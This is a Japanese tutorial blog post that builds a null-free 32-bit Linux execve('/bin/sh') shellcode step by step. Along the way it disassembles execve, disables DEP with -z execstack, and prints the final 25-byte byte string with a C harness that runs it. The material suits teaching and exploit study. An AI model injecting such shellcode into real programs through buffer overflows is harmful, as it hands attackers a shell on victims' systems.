なにごともまずは基本から、ということでシェルコードを自分で書いてみる。 なお、アセンブリコードはIntel記法を用いて表す。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
ふつうにC言語で書いてみる
一般に、シェルを起動するにはexecve(2)システムコールを使う。
$ man execve NAME execve - execute program SYNOPSIS #include <unistd.h> int execve(const char *filename, char *const argv[], char *const envp[]);
マニュアルに従い、C言語のコードを書く。
/* execve.c */ #include <unistd.h> int main() { char *argv[] = {"/bin/sh", NULL}; execve(argv[0], argv, NULL); }
libcをスタティックリンクしてコンパイルし実行してみると、シェルが立ち上がることが確認できる。
$ gcc -static execve.c $ ./a.out $
実行時の動作を追ってみる
ディスアセンブルして、main関数とそこから呼ばれるexecve関数のアセンブリコードを調べてみる。
$ objdump -M intel -d a.out | sed -n '/<main>:/,/^$/p' 08048ee0 <main>: 8048ee0: 55 push ebp 8048ee1: 89 e5 mov ebp,esp 8048ee3: 83 e4 f0 and esp,0xfffffff0 8048ee6: 83 ec 20 sub esp,0x20 8048ee9: c7 44 24 18 68 58 0c mov DWORD PTR [esp+0x18],0x80c5868 8048ef0: 08 8048ef1: c7 44 24 1c 00 00 00 mov DWORD PTR [esp+0x1c],0x0 8048ef8: 00 8048ef9: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18] 8048efd: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 8048f04: 00 8048f05: 8d 54 24 18 lea edx,[esp+0x18] 8048f09: 89 54 24 04 mov DWORD PTR [esp+0x4],edx 8048f0d: 89 04 24 mov DWORD PTR [esp],eax 8048f10: e8 7b ac 00 00 call 8053b90 <__execve> 8048f15: c9 leave 8048f16: c3 ret
$ objdump -M intel -d a.out | sed -n '/<__execve>:/,/^$/p' 08053b90 <__execve>: 8053b90: 53 push ebx 8053b91: 8b 54 24 10 mov edx,DWORD PTR [esp+0x10] 8053b95: 8b 4c 24 0c mov ecx,DWORD PTR [esp+0xc] 8053b99: 8b 5c 24 08 mov ebx,DWORD PTR [esp+0x8] 8053b9d: b8 0b 00 00 00 mov eax,0xb 8053ba2: ff 15 a4 f5 0e 08 call DWORD PTR ds:0x80ef5a4 8053ba8: 3d 00 f0 ff ff cmp eax,0xfffff000 8053bad: 77 02 ja 8053bb1 <__execve+0x21> 8053baf: 5b pop ebx 8053bb0: c3 ret 8053bb1: c7 c2 e8 ff ff ff mov edx,0xffffffe8 8053bb7: f7 d8 neg eax 8053bb9: 65 8b 0d 00 00 00 00 mov ecx,DWORD PTR gs:0x0 8053bc0: 89 04 11 mov DWORD PTR [ecx+edx*1],eax 8053bc3: 83 c8 ff or eax,0xffffffff 8053bc6: 5b pop ebx 8053bc7: c3 ret
8053ba2で呼び出される先がよくわからないので、gdbで追いかけてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas execve Dump of assembler code for function execve: 0x08053b90 <+0>: push ebx 0x08053b91 <+1>: mov edx,DWORD PTR [esp+0x10] 0x08053b95 <+5>: mov ecx,DWORD PTR [esp+0xc] 0x08053b99 <+9>: mov ebx,DWORD PTR [esp+0x8] 0x08053b9d <+13>: mov eax,0xb 0x08053ba2 <+18>: call DWORD PTR ds:0x80ef5a4 0x08053ba8 <+24>: cmp eax,0xfffff000 0x08053bad <+29>: ja 0x8053bb1 <execve+33> 0x08053baf <+31>: pop ebx 0x08053bb0 <+32>: ret 0x08053bb1 <+33>: mov edx,0xffffffe8 0x08053bb7 <+39>: neg eax 0x08053bb9 <+41>: mov ecx,DWORD PTR gs:0x0 0x08053bc0 <+48>: mov DWORD PTR [ecx+edx*1],eax 0x08053bc3 <+51>: or eax,0xffffffff 0x08053bc6 <+54>: pop ebx 0x08053bc7 <+55>: ret End of assembler dump. (gdb) disas *0x80ef5a4 Dump of assembler code for function _dl_sysinfo_int80: 0x08055930 <+0>: int 0x80 0x08055932 <+2>: ret End of assembler dump.
上の結果から、0x08053ba2でcallする先ではint 0x80
でシステムコール呼び出しが行われていることがわかる。
そこで、この直前のレジスタの状態を調べてみる。
(gdb) b *0x08053ba2 Breakpoint 1 at 0x8053ba2 (gdb) run Starting program: /home/user/tmp/a.out Breakpoint 1, 0x08053ba2 in execve () (gdb) x/i $pc => 0x8053ba2 <execve+18>: call DWORD PTR ds:0x80ef5a4 (gdb) info registers eax 0xb 11 ecx 0xbffff758 -1073744040 edx 0x0 0 ebx 0x80c5868 135026792 esp 0xbffff738 0xbffff738 ebp 0xbffff768 0xbffff768 esi 0x0 0 edi 0x8049630 134518320 eip 0x8053ba2 0x8053ba2 <execve+18> eflags 0x282 [ SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/4wx $ebx 0x80c5868: 0x6e69622f 0x0068732f 0x41544146 0x6b203a4c (gdb) x/s $ebx 0x80c5868: "/bin/sh" (gdb) x/4wx $ecx 0xbffff758: 0x080c5868 0x00000000 0x00000000 0x08049630 (gdb) cont Continuing. process 1323 is executing new program: /bin/dash $ [Inferior 1 (process 1323) exited normally] (gdb) quit
つまり、次のようになっている。
eax = 11 ebx = 0x80c5868 = "/bin/sh" の先頭アドレス ecx = 0xbffff758 = [0x080c5868,0x00000000,...] = ["/bin/sh" の先頭アドレス,NULL,...] edx = 0
要するに、レジスタをこの状態にセットしてint 0x80
を呼べば、シェルが立ち上がることになる。
なお、eaxに入っている11は、execve(2)のシステムコール番号である。
これは次のようにして確認できる。
$ cat /usr/include/i386-linux-gnu/sys/syscall.h /* This file should list the numbers of the system calls the system knows. But instead of duplicating this we use the information available from the kernel sources. */ #include <asm/unistd.h>
$ cat /usr/include/i386-linux-gnu/asm/unistd.h # ifdef __i386__ # include <asm/unistd_32.h> # else # include <asm/unistd_64.h> # endif
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h /* * This file contains the system call numbers. */ #define __NR_execve 11
アセンブリコードを書いてみる
ディスアセンブルして出てきた結果を参考にしながら、自分でアセンブリコードを書いてみる。
ここでは、ebxやecxが指す先のバイト列をスタック上に作り、適当なタイミングでesp(スタックの頂上を指すアドレス)を各レジスタにセットする方法を取っている。
xor edx, edx
はmov edx, 0
と同じ意味をもつ、より効率的な命令である。
/* execve.s */ .intel_syntax noprefix .globl _start _start: push 0x0068732f push 0x6e69622f mov ebx, esp xor edx, edx push edx push ebx mov ecx, esp mov eax, 11 int 0x80
アセンブルして実行してみる。
ここではコードの最小化のため、自分でエントリポイント_start
を定義し、libcなどのライブラリにリンクしないようにしている。
$ gcc -nostdlib execve.s $ ./a.out $
ディスアセンブルすると、実際に書いたアセンブリコードが機械語になっていることがわかる。
$ objdump -M intel -d a.out 08048098 <_start>: 8048098: 68 2f 73 68 00 push 0x68732f 804809d: 68 2f 62 69 6e push 0x6e69622f 80480a2: 89 e3 mov ebx,esp 80480a4: 31 d2 xor edx,edx 80480a6: 52 push edx 80480a7: 53 push ebx 80480a8: 89 e1 mov ecx,esp 80480aa: b8 0b 00 00 00 mov eax,0xb 80480af: cd 80 int 0x80
ここに表示されているバイト列の先頭にeipを移すことができれば、シェルが立ち上がる。
シェルコードを明示的に実行させてみる
上で作ったシェルコードをもとに、明示的に実行させるコードをC言語で書くと次のようになる。
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80
/* shell.c */ char shellcode[] = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"; int main() { (*(void (*)())shellcode)(); }
コンパイルして実行しようとすると、セグメンテーション違反で落ちる。
$ gcc shell.c $ ./a.out Segmentation fault (core dumped)
これは、Data Execution Prevention (DEP) と呼ばれるセキュリティ機構により、スタック領域には実行可能ビットが立っていないからである。 DEPは、その実装の名前からExecShieldと呼ばれることもある。
$ objdump -x a.out Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x00000120 memsz 0x00000120 flags r-x INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x00000598 memsz 0x00000598 flags r-x LOAD off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12 filesz 0x00000118 memsz 0x00000120 flags rw- DYNAMIC off 0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2 filesz 0x000000c8 memsz 0x000000c8 flags rw- NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2 filesz 0x00000044 memsz 0x00000044 flags r-- EH_FRAME off 0x000004a0 vaddr 0x080484a0 paddr 0x080484a0 align 2**2 filesz 0x00000034 memsz 0x00000034 flags r-- STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags rw- RELRO off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0 filesz 0x000000ec memsz 0x000000ec flags r--
STACKと書かれた部分から、スタック領域にはxビットが立っていないことがわかる。
DEPを無効にしてコンパイルすると、シェルの起動に成功する。
$ gcc -z execstack shell.c $ ./a.out $
プログラムヘッダを調べてみると、この場合はスタック領域が実行可能になっていることが確認できる。
$ objdump -x a.out Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x00000120 memsz 0x00000120 flags r-x INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x00000598 memsz 0x00000598 flags r-x LOAD off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12 filesz 0x00000118 memsz 0x00000120 flags rw- DYNAMIC off 0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2 filesz 0x000000c8 memsz 0x000000c8 flags rw- NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2 filesz 0x00000044 memsz 0x00000044 flags r-- EH_FRAME off 0x000004a0 vaddr 0x080484a0 paddr 0x080484a0 align 2**2 filesz 0x00000034 memsz 0x00000034 flags r-- STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags rwx RELRO off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0 filesz 0x000000ec memsz 0x000000ec flags r--
シェルコードからnullバイトを取り除く
上で作ったシェルコードは正しい機械語列ではあるが、途中にnullバイト (\x00) が入っている。 しかしこれでは、シェルコードを送り込むのにstrcpyでのバッファオーバーフローなどを利用する場合、途中のnullバイトが文字列終端とみなされてしまい、最後までシェルコードを送り込むことができない。 つまり、実用的なシェルコードとしてはnullバイトを含まない (null-free) であることが望ましい。
そこで、上で作ったシェルコードをnull-freeなものに書き換えてみる。
/* execve2.s */ .intel_syntax noprefix .globl _start _start: /* push 0 */ xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp /* mov eax, 11 */ lea eax, [edx+11] int 0x80
ここでは、次のようなことを行った。
- "/bin/sh" の最後のnullバイトを次の4バイトに追い出すため、同じ意味を持つ "/bin//sh" に置き換える
- edxを0にするのを前倒しし、"/bin//sh" に続くnullバイト4個としてスタックに積む
- eaxに即値11をmovする代わりに、leaを使ってedx (=0) を基準としたアドレス計算の結果を代入する
アセンブルして実行すると、問題なくシェルが立ち上がる。
$ gcc -nostdlib execve2.s $ ./a.out $
ディスアセンブルしてみると、00がなくなっていることが確認できる。
$ objdump -M intel -d a.out 08048098 <_start>: 8048098: 31 d2 xor edx,edx 804809a: 52 push edx 804809b: 68 2f 2f 73 68 push 0x68732f2f 80480a0: 68 2f 62 69 6e push 0x6e69622f 80480a5: 89 e3 mov ebx,esp 80480a7: 52 push edx 80480a8: 53 push ebx 80480a9: 89 e1 mov ecx,esp 80480ab: 8d 42 0b lea eax,[edx+0xb] 80480ae: cd 80 int 0x80
完成
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
/* shell2.c */ #include <stdio.h> char shellcode[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; int main() { printf("sizeof(shellcode) == %d\n", sizeof(shellcode)); (*(void (*)())shellcode)(); }
$ gcc -z execstack shell2.c $ ./a.out sizeof(shellcode) == 25 $
このシェルコードは25バイトである。